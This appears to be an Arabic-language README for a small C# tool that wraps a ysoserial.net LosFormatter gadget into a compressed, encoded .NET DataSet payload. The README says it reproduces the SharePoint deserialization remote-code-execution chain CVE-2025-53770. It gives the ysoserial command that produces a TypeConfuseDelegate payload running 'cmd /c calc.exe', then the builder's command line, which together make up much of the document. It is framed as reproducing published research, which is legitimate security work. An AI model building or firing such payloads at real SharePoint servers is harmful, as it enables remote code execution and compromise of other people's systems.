
أداة بلغة C# لبناء حمولة DataSet في .NET مضغوطة بتنسيق GZip ومشفّرة بتنسيق Base64 باستخدام LosFormatter لإعادة إنتاج سلسلة استغلال RCE عبر إلغاء التسلسل في SharePoint (CVE-2025-53770).
هذه أداة بسيطة بلغة C# تقوم ببناء حمولة .NET DataSet مضغوطة GZip ومشفرة Base64 باستخدام حمولة داخلية مشفرة عبر LosFormatter. صُممت للمساعدة في إعادة إنتاج سلسلة استغلال تنفيذ الأوامر عن بُعد (RCE) عبر إلغاء التسلسل في SharePoint الموضحة في الأبحاث المنشورة.
تعطيها حمولة مشفرة Base64 (مثل تلك الصادرة عن ysoserial.net)، وهي:
.b64أولاً، أنشئ حمولتك باستخدام ysoserial.net:
ysoserial.exe -f LosFormatter -g TypeConfuseDelegate -o base64 -c "cmd /c calc.exe" > nested_gadget.b64
ثم شغّل هذه الأداة:
OurSharePointBuilder.exe --in=nested_gadget.b64 --out=exploit --a=<random> --b=<random> --c=<random>
سيؤدي هذا إلى إنشاء:
أيضًا، إذا لم تحدّد --a أو --b أو --c، فستقوم الأداة بإنشاء أسماء عشوائية بأحرف صغيرة.
ملاحظات
لا تقوم هذه الأداة بالتحقق من الحمولة التي تعطيها لها أو فحصها.
إذا كنت تختبر محليًا وتقوم بإلغاء التسلسل يدويًا، فقد يتم تنفيذها (مثل pop calc).